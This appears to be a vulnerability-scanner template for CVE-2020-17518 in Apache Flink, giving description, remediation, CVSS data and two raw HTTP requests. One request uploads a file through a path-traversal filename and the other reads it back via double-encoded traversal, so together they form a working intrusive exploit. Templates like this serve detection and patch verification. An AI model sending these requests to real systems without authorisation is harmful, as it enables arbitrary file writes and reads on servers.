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id : CVE-2020-17518
info :
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name : Apache Flink 1.5.1 - Local File Inclusion
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author : pdteam
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severity : high
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description : |
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Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
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impact : |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
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remediation : |
Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
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reference :
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
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- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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cvss-score : 7.5
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cve-id : CVE-2020-17518
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cwe-id : CWE-22,CWE-23
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epss-score : 0.86056
epss-percentile : 0.98301
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cpe : cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : apache
product : flink
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tags : cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive
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http :
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- raw :
- |
POST /jars/upload HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition : form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
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{{randstr}}
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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- |
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
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matchers :
- type : dsl
dsl :
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- 'contains(body_2, "{{randstr}}") && status_code == 200'
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# digest: 490a0046304402205570104598ee83206abdcb1418c3b615a3cbc4e3408dbf1e52c88c9ae2814b52022050e866d7f1f34ac958e583294080c2e7b8f99d49f90eddb2c4d855b851709e2d:922c64590222798bb761d5b6d8e72950